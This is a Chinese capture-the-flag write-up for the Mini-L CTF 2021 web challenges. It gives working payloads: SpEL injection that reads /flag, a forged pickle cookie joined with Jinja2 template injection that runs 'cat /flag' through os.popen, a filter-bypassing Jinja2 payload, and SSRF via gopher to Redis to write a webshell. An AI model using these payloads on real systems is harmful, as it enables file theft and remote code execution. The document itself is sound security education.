Skip to content

Web 部分

miniljava

不会 Java,就硬试

MainController.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package com.controller;

import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.http.HttpServletRequest;
import java.net.MalformedURLException;

@RestController
public class MainController {
    ExpressionParser parser = new SpelExpressionParser();

    @RequestMapping("/")
    public String main(HttpServletRequest request,@RequestParam(required = false) String code,@RequestParam(required = false) String url) throws MalformedURLException {
        String requestURI = request.getRequestURI();
        if(requestURI.equals("/")){
            return "nonono";
        }
        else{
            if (code!=null) {
                String s = parser.parseExpression(code).getValue().toString();
                return s;
            } else {
                return "so?";
            }
        }
    }
}

瞎猜代码,测试一下发现过了

1
2
3
4
5
http://f9a8dc09-3cd8-415b-a3fd-b0784360f69b.web.woooo.tech//
==>>so?

加上POST数据 code=123123
==>>123123

然后应该是SpEL注入

payload:

1
2
3
POST
code=T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'), T(java.nio.charset.Charset).defaultCharset())
==>>[miniL{b11a5b8c-07cd-42ce-b609-703c2217e614}]

从 https://landgrey.me/blog/15/ 这里顺的

L Inc.

  • Cookie
  • pickle 反序列化
  • SSTI

提交cc得cookie如下

1
2
3
4
5
6
7
import pickletools
import base64

cookie = b'gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSJdWIu'
b = base64.b64decode(cookie)
#print(b)
pickletools.dis(b)
pickle.load() 不能成功(没有app模块中的User类),用 pickletools 查看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
        0: \\x80 PROTO      4
    2: \\x95 FRAME      43
   11: \\x8c SHORT_BINUNICODE 'app'
   16: \\x94 MEMOIZE    (as 0)
   17: \\x8c SHORT_BINUNICODE 'User'
   23: \\x94 MEMOIZE    (as 1)
   24: \\x93 STACK_GLOBAL
   25: \\x94 MEMOIZE    (as 2)
   26: )    EMPTY_TUPLE
   27: \\x81 NEWOBJ
   28: \\x94 MEMOIZE    (as 3)
   29: }    EMPTY_DICT
   30: \\x94 MEMOIZE    (as 4)
   31: (    MARK
   32: \\x8c     SHORT_BINUNICODE 'name'
   38: \\x94     MEMOIZE    (as 5)
   39: \\x8c     SHORT_BINUNICODE 'cc'
   43: \\x94     MEMOIZE    (as 6)
   44: \\x8c     SHORT_BINUNICODE 'vip'
   49: \\x94     MEMOIZE    (as 7)
   50: \\x89     NEWFALSE
   51: u        SETITEMS   (MARK at 31)
   52: b    BUILD
   53: .    STOP
highest protocol among opcodes = 4

第 50 行 \x89 对应 NEWFLASE,改为 \x88 得 NEWTRUE 获取 vip 身份

1
2
3
>>> import base64
>>> base64.b64encode(b'\\x80\\x04\\x95+\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8c\\x03app\\x94\\x8c\\x04User\\x94\\x93\\x94)\\x81\\x94}\\x94(\\x8c\\x04name\\x94\\x8c\\x02cc\\x94\\x8c\\x03vip\\x94\\x88ub.')
b'gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSIdWIu'

得到伪造成功后的 cookie 值 gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSIdWIu

根据回显,可以猜测由此 RCE,下面是构造:

app.py

1
2
3
4
class User(object):
    def __init__(self, name, vip):
        self.name = name
        self.vip = vip

poc.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import pickle,pickletools
import base64 as b64
import app

c = b'gASVKwAAAAAAAACMA2FwcJSMBFVzZXKUk5QpgZR9lCiMBG5hbWWUjAJjY5SMA3ZpcJSIdWIu'

b = b64.b64decode(c)

res = pickle.loads(b)
b = pickle.dumps(res,protocol=0)

print(b)
pickletools.dis(b)

print(res.name)

跑一下poc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
b'ccopy_reg\\n_reconstructor\\np0\\n(capp\\nUser\\np1\\nc__builtin__\\nobject\\np2\\nNtp3\\nRp4\\n(dp5\\nVname\\np6\\nVcc\\np7\\nsVvip\\np8\\nI01\\nsb.'
    0: c    GLOBAL     'copy_reg _reconstructor'
   25: p    PUT        0
   28: (    MARK
   29: c        GLOBAL     'app User'
   39: p        PUT        1
   42: c        GLOBAL     '__builtin__ object'
   62: p        PUT        2
   65: N        NONE
   66: t        TUPLE      (MARK at 28)
   67: p    PUT        3
   70: R    REDUCE
   71: p    PUT        4
   74: (    MARK
   75: d        DICT       (MARK at 74)
   76: p    PUT        5
   79: V    UNICODE    'name'
   85: p    PUT        6
   88: V    UNICODE    'cc'
   92: p    PUT        7
   95: s    SETITEM
   96: V    UNICODE    'vip'
  101: p    PUT        8
  104: I    INT        True
  108: s    SETITEM
  109: b    BUILD
  110: .    STOP
highest protocol among opcodes = 0
cc

......后来发现是模板注入

exp.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
import pickle, pickletools
import base64
import requests
from app import *

tar = User(name="{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}",vip=True)

poc = pickle.dumps(tar, protocol=3)
# print(poc)
# pickletools.dis(poc)

c = base64.b64encode(poc).decode()
print(c)
response = requests.get("http://fa404bff-6900-439f-b32d-4809582a673d.web.woooo.tech/home",cookies=dict(user=c),timeout=10)
print(response.text)
结果如下,
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
gANjYXBwClVzZXIKcQApgXEBfXECKFgEAAAAbmFtZXEDWEkAAAB7e2NvbmZpZy5fX2NsYXNzX18uX19pbml0X18uX19nbG9iYWxzX19bJ29zJ10ucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKX19cQRYAwAAAHZpcHEFiHViLg==
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>VIP - L Inc.</title>
</head>
<body>
    <h1>Hello, dear miniL{c869aacc-abb1-4e85-a74e-1e511196d17d}
</h1>
    <p>You are our VIP customer, there will be a specially-assigned person to serve you later.</p>
</body>
</html>

Template

有一段混淆的 js,前端过滤 {|}|% , 后端过滤 . (还有啥忘了

只能说控制台 nb (今年 DEFCON Quals 那道 Web 也有用 Console 破混淆的大神)

3FACTOOORX Write-up

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function abc(v1, v2) {
    var len1 = v1.length;
    var len2 = v2.length;
    var result = [];
    for (var i = 0x0; i < len2; i++) {
        result[i] = String.fromCharCode(v1[i % len1].charCodeAt(0) ^ v2[i].charCodeAt(0));
    }
    return result.join('');
};

function submit() {
    var code = document.getElementById("code").value;
    if (code.search('{|}|%') != -1) {
        alert("hack!!!!!");
    } else {
        var data = abc("xdsecminil", code);
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "/build", true);
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhr.send("data=" + btoa(data));
        xhr.onreadystatechange = function() {
            if (xhr.status === 200) {
                document.getElementById("result").innerText = xhr.responseText;
            } else {
                alert("request error");
            }
        };
    };
}

纯 jinja2 不能调 flask 的变量

过滤了 . flag +

1
{{cycler["reset"]["__globals__"]["__builtins__"]["open"](""["join"](["/fla","g"]))["read"]()}}

protocol

  • SSRF gopher 打 Redis

走非预期了,没有拿源码依然打到内网了。。。

利用 url 报错 400 (空格,试 /fuzz|sleep 114514 的时候撞出来的。。。)

可以拿到内网真实网段(Apache Bad Request 回显)

1
url=0.0.0.0/fuzz fuzz

以 172.192.112.2 为例,这是报错得到的内网地址,

D 段 +1 一下就试出来了回显。。

访问 url=172.192.112.3,

1
flag就在这台机子上面,可是你怎么获得呢?1

172.192.112.3:6379

redis 🉑

redis 直接写 webshell

https://github.com/LS95/gopher-redis-auth

懒得更图了,可以去官方仓库学习一波😆

https://github.com/XDSEC/Mini-L-CTF-2021

Misc 部分

Back to top